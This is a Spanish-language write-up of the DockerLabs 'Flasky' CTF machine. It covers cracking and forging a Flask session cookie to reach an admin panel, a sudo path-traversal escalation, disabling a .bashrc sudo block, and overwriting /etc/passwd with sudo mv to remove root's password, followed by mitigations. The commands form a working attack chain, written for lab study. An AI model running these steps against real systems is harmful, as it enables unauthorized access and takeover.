Flasky

Introducción

Este documento presenta la resolución completa de la máquina Flasky, desarrollada por mikisbd para la plataforma DockerLabs, clasificada con una dificultad Media. El laboratorio expone una aplicación web desarrollada en Flask que permite el registro y login de usuarios. Tras crear una cuenta, se observa que la sesión se gestiona mediante cookies firmadas (típicas de Flask). Manipulando dicha cookie y utilizando herramientas como flask-unsign y cookiemonster, se logra forjar una cookie con privilegios de administrador, lo que permite acceder a un panel que revela credenciales SSH para el usuario peter. Tras el acceso inicial, se explota una regla sudo mal configurada que permite ejecutar cualquier script Bash en el directorio de otro usuario (pan) mediante path traversal, obteniendo acceso como pan. A continuación, se descubre que el usuario pan tiene un .bashrc que deshabilita sudo, pero se puede eludir comentando la función y recargando el entorno. Finalmente, pan puede ejecutar mv como root, lo que se utiliza para sobrescribir /etc/passwd y eliminar la contraseña de root, obteniendo así acceso total al sistema. Todo el proceso se llevó a cabo dentro de un entorno controlado con fines estrictamente educativos.

---

Información Técnica

Atributo	Valor
Nombre	Flasky
Autor	mikisbd
Dificultad	Medio
Fecha	17/03/2026
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Paso 0 — Despliegue y preparación

Se descomprime la máquina y se despliega utilizando el script proporcionado:

unzip Flasky.zip
sudo bash auto_deploy.sh Flasky.tar

Una vez iniciado el contenedor, se asigna la dirección IP correspondiente.

Se organiza el entorno de trabajo para mantener una estructura clara durante el análisis:

mkdir -p Flasky/{content,exploits,nmap,scripts}
cd Flasky

---

Paso 1 — Reconocimiento

1.1 Escaneo de puertos

Se realiza un escaneo completo de puertos TCP para identificar servicios expuestos:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

El resultado muestra los siguientes servicios accesibles externamente:

• 22/tcp — SSH
• 5000/tcp — HTTP

---

1.2 Enumeración de servicios

Dado que tenemos varios servicios abiertos, realizamos un escaneo de posibles vulnerabilidades con nmap:

nmap -sCV -p22,5000 172.17.0.2

En este caso, no encontramos nada resaltante:

---

1.3 Enumeración web

Se procede a realizar fuzzing de rutas y archivos:

feroxbuster -u http://172.17.0.2:5000 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
  -x php,html,txt,js -t 100 -C 404

Aquí solo encontramos el index y un signup:

• Index: contiene directamente un login de usuarios.

• Signup: contiene un formulario de creación de usuarios simple.

---

Paso 2 — Explotación (acceso inicial)

Tras realizar las pruebas necesarias, el login no resultó vulnerable a ningún tipo de inyección (SQL, NoSQL, LDAP). Por lo tanto, procedemos a crear un usuario. En nuestro caso, usaremos las credenciales test:test. Al momento de ingresar las credenciales, obtenemos este mensaje:

Este nos indica que el tipo de usuario es User, lo que sugiere que podríamos modificar la cookie de sesión. Vamos a las herramientas de desarrollador → almacenamiento y observamos:

Por el formato de esta cookie, deducimos que se está utilizando la librería por defecto de Flask. Necesitaremos usar la herramienta flask-unsign para decodificar la cookie y ver su contenido. Ejecutamos el siguiente comando:

flask-unsign --unsign --cookie '<COOKIE>'

Esto nos da un resultado válido:

Aquí ya tenemos un formato JSON de la cookie y observamos que contiene nuestro profile, user_id y username. Lo que podríamos hacer es descubrir el secreto utilizado para firmar la cookie y así generar una cookie con permiso de administrador. Para descubrir este secreto, usaremos otra herramienta llamada cookiemonster, que es más rápida:

cookiemonster -cookie "<COOKIE>"

Esta nos da el secreto rápidamente:

Con el secreto descubierto, generamos una nueva cookie con permisos de administrador:

flask-unsign --sign --cookie '{"profile": "admin", "user_id": 1, "username": "admin"}' --secret '<SECRET>'

Obtenemos una cookie funcional. La copiamos, la reemplazamos por la antigua cookie y recargamos la página:

Ahora se nos muestra un portal de administración donde tenemos las credenciales del servicio SSH. Procedemos a conectarnos:

ssh peter@172.17.0.2

Y obtenemos acceso a la máquina:

---

Paso 3 — Escalada de privilegios

3.1 De peter → pan

Lo primero que hacemos es revisar los permisos con sudo -l:

Aquí vemos que podemos ejecutar cualquier script de Bash en el directorio /home/pan/* con permisos del usuario pan. Con esto podríamos ejecutar cualquier script a través de path traversal. Creamos el siguiente script en el directorio /tmp:

echo '/bin/bash' > /tmp/shell.sh

Y ahora ejecutamos el script:

sudo -u pan bash /home/pan/../../tmp/shell.sh

Esto nos da permisos del usuario pan:

---

3.2 De pan → root

Al intentar revisar los permisos con sudo -l, el mensaje que nos devuelve es que sudo está roto. Tras revisar, observamos que hay una función especial en el .bashrc para inhabilitarlo:

# Protección de sudo
sudo() {
    echo "BROKEN SUDO"
    return 1
}

# También bloquear sudo su, sudo -i, etc.
alias sudo='sudo'  # Esto hace que el alias no evite la función

Dado que en la máquina no tenemos ningún editor de texto, tendremos que comentar la función a través de sed:

sed -i '/alias.*sudo/s/^/#/' ~/.bashrc
source ~/.bashrc
unset -f sudo

Ahora el comando sudo es funcional. Al ejecutarlo, observamos:

Esto nos indica que el usuario pan puede ejecutar mv con permisos de administración. Con esto podemos sobrescribir cualquier archivo del sistema. Sobrescribiremos el /etc/passwd. Lo primero que hacemos es copiarlo y, en algún editor de texto, eliminar la x que indica que la contraseña se encuentra en el shadow. Esto haría que root no pida contraseña para el inicio de sesión. Guardamos el archivo modificado como /tmp/passwd y luego ejecutamos:

cd /tmp
cat > passwd << 'EOF'
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:996:996:System Message Bus:/nonexistent:/usr/sbin/nologin
sshd:x:995:65534:sshd user:/run/sshd:/usr/sbin/nologin
peter:x:1000:1000:,,,:/home/peter:/bin/bash
pan:x:1001:1001:,,,:/home/pan:/bin/bash
EOF

Ahora sobrescribimos el archivo /etc/passwd real:

sudo mv passwd /etc/passwd

Finalmente, solo necesitamos hacer su root para tener permisos de administrador:

Y listo, hemos accedido como superusuario.

---

Análisis de Vulnerabilidades

Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto
Uso de cookies firmadas con secreto débil o predecible	Crítica	Permite forjar cookies con privilegios de administrador
Exposición del secreto de firma mediante herramientas de cracking (cookiemonster)	Alta	Compromiso completo de la autenticación por sesiones
Panel de administración accesible sin autenticación adicional tras forjar cookie	Media	Exposición de credenciales SSH
Regla sudo con comodín (/home/pan/*) y path traversal posible	Crítica	Escalada de privilegios al usuario pan
Función que deshabilita sudo en .bashrc con método de bloqueo eludible	Media	Protección débil que puede removerse con sed y unset -f
Permiso sudo para mv sin restricciones	Crítica	Permite sobrescribir archivos críticos del sistema, como /etc/passwd
Contraseña de root eliminable modificando /etc/passwd	Crítica	Acceso total al sistema sin autenticación

---

Recomendaciones de Mitigación

• Utilizar secretos robustos y únicos para la firma de cookies en Flask, y almacenarlos de forma segura (variables de entorno, archivos fuera del código fuente).
• Rotar periódicamente los secretos de sesión para limitar la ventana de explotación en caso de filtración.
• No confiar en la información del lado del cliente para determinar privilegios. La verificación de roles debe hacerse siempre en el servidor.
• Evitar el uso de comodines (*) en las reglas de sudo, ya que permiten path traversal. Especificar siempre rutas absolutas y archivos concretos.
• No deshabilitar sudo mediante funciones o alias en el .bashrc, ya que es fácilmente eludible. Usar configuraciones a nivel de sistema si es necesario restringir privilegios.
• Restringir binarios peligrosos como mv, cp, chmod en sudoers, o limitar sus operaciones a directorios no críticos.
• Proteger archivos del sistema como /etc/passwd y /etc/shadow con permisos estrictos (644 y 600 respectivamente) y atributos inmudables (chattr +i) cuando sea posible.